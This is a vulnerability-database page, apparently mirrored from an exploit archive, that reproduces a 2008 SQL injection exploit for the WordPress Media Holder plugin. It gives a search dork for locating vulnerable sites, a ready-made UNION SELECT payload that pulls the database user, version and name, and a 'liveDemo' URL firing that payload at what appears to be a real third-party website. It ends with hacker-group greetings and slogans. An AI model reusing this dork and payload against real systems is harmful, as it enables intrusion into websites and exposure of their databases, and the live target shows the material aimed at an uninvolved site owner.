WordPress Plugin Media Holder - SQL Injection

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1056923 漏洞类型
发布时间 2008-10-26 更新时间 2008-10-26
CVE编号 N/A CNNVD-ID N/A
漏洞平台 PHP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/6842
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
-------------------------------------------------------------------
WordPress Media Holder (id) Sql injetion vulnerability!
-------------------------------------------------------------------
-------------------------------------------------------------------
Author: boom3rang
Greetz: H!tM@N - KHG - chs - redc00de!
Site   :  www.khg-crew.ws - [Kosova Hackers Group!]
-------------------------------------------------------------------


-------------------------------------------------------------------
Dork:         mediaHolder.php?id
-------------------------------------------------------------------
Exp:          http://localHost/mediaHolder.php?id=[exploit]
-------------------------------------------------------------------
exploit:      -9999/**/UNION/**/SELECT/**/concat(User(),char(58),Version()),2,3,4,5,6,Database()--
-------------------------------------------------------------------
liveDemo:
http://www.dhadm.com/mediaHolder.php?id=-9999/**/UNION/**/SELECT/**/concat(User(),char(58),Version()),2,3,4,5,6,Database()--
-------------------------------------------------------------------


-------------------------------------------------------------------
Proud 2 be Albanian
Proud 2 be Muslim
United States of Albania
-------------------------------------------------------------------

# milw0rm.com [2008-10-26]